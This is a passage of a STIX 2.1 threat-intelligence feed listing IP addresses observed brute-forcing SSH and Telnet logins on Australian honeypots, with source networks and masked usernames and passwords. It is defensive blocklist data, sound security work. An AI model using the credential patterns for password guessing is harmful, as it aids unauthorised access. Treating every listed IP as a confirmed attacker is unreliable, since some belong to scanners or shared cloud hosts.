      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--5ef821b5-a194-49c0-9e99-25bfe5d6bdc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.81.33.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 61400. Organisation(s): Start2 LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******d, 1**8, 3***********4, 3**********4, r***o.",
      "id": "indicator--40df6306-d4d7-4755-874c-d82f17f9f2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.40.30.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2478880a-5bdb-4352-8651-37eaf5d84486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--d86477c5-e613-4ba4-b511-e4df18052a6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.184.33.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t. Passwords observed (masked): K**********3, u********5.",
      "id": "indicator--8ed60cc9-9b3d-46c1-a907-e40f46fd5c99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.154.106.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--77740a7d-511d-4cf6-97fb-0461127c481d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 47895. Organisation(s): LTD Erline. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********p, 3***********4, 3**********4, u********5.",
      "id": "indicator--07045b31-d995-48a9-87fa-557e70a5cbc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.205.128.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:15:13.000Z",
      "valid_until": "2026-04-02T10:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 127. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 3***********4, 3****4, P***********4, Q*******1.",
      "id": "indicator--0db9b4c2-9632-460a-8c21-45a3d539b960",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3987aa7b-f1d6-47b6-b99f-31060a225157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.137.138.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3****4, 3**********4, P***********4, a****m, a********5.",
      "id": "indicator--05ef261a-eff7-413d-972b-ea893fe1c931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.85.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******., 2******!, 3***********4, 3**********4, A*******!.",
      "id": "indicator--53e47396-c160-4e12-ba20-1b606ab5bdc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52312. Organisation(s): TV MUSIC HOUSE JUJUY.",
      "id": "indicator--beb87983-320f-46ec-9012-e496ee296a8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.52.38.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******., 2******!, A*******!.",
      "id": "indicator--6d775825-289a-45fb-a2be-43a9f6177548",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.227.153.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ce5317c3-1bf5-42c7-9b8b-ac3c0a220f75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cf4ee1c2-dd7c-4b72-8ce5-7f10ba600ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******d, 3***********4, 3**********4, A**********3, L******6.",
      "id": "indicator--a2c505fb-b90c-4973-a976-566e09b787d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.82.214.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 200845. Organisation(s): Avatel Telecom, SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ***, 3***********4, 3****4, 3**********4, P***********4.",
      "id": "indicator--89d5618b-18f6-47a8-b466-029af457a5ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.182.83.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ***, 3***********4, 3****4, 3**********4, P***********4.",
      "id": "indicator--26f7ac02-fc60-4eec-9016-5ff498e983df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.254.133.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d.",
      "id": "indicator--80161c76-61df-4d97-8d93-9e0bfc5bef2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.107.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s****a. Passwords observed (masked): s****a.",
      "id": "indicator--2c1eeb9f-3d21-4b3e-bbd5-de022be35ed1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--ca7a92d8-802a-4322-a858-ceec0bc55398",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.214.181.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--4366a6f0-be74-45cd-8545-e8db2b8000a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '90.189.195.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:15:14.000Z",
      "valid_until": "2026-04-02T11:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 149020. Organisation(s): WebHorizon Internet Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****5, @*******4, A*******7.",
      "id": "indicator--31f29bb3-b5a2-4aba-a629-bf833d3a3866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.179.44.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 135407. Organisation(s): Trans World Enterprise Services Private Limited. Usernames observed (masked): r**t, 3**********4, r***2. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******k, 1*****a.",
      "id": "indicator--1196c8d1-92d8-477c-890e-63811dc2ced2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.19.254.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****5, 2********M, 3***********4, 3**********4, A*******7.",
      "id": "indicator--708f125f-3e81-4342-9e1b-7ee9a7005791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.166.211.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 4780. Organisation(s): Digital United Inc.. Usernames observed (masked): r**t, 3**********4, r***2. Passwords observed (masked): 1**4, 1******k, 1*****a, 1**********Z, 3***********4.",
      "id": "indicator--30338201-8b09-4493-9941-71d7ed540299",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.204.132.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--35cc28cd-5be6-42c6-9f66-aa0f4922e313",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.122.26.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**5, 3***********4, 3**********4, A********5, Q********..",
      "id": "indicator--ac9ef6bf-6020-4df8-965c-8472dd099c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.171.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c6642484-7c96-4b1b-b090-bf9fe295f428",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.173.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): q********9.",
      "id": "indicator--8b5e51e0-5689-4b97-b71c-0e29fb603308",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.142.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 418. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, a***n, a******3, l*****n.",
      "id": "indicator--21c26735-8aad-4e7e-9ea2-b4569da5f800",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.215.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--68b5e9b0-4d62-4700-9486-06699cef1c5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 327813. Organisation(s): HA-VPS-NET. Usernames observed (masked): r**t, 3**********4, r***2. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******k, 1*****a.",
      "id": "indicator--b4377a39-1c09-46cf-8a5b-6f04bb7fd9c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '169.255.56.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
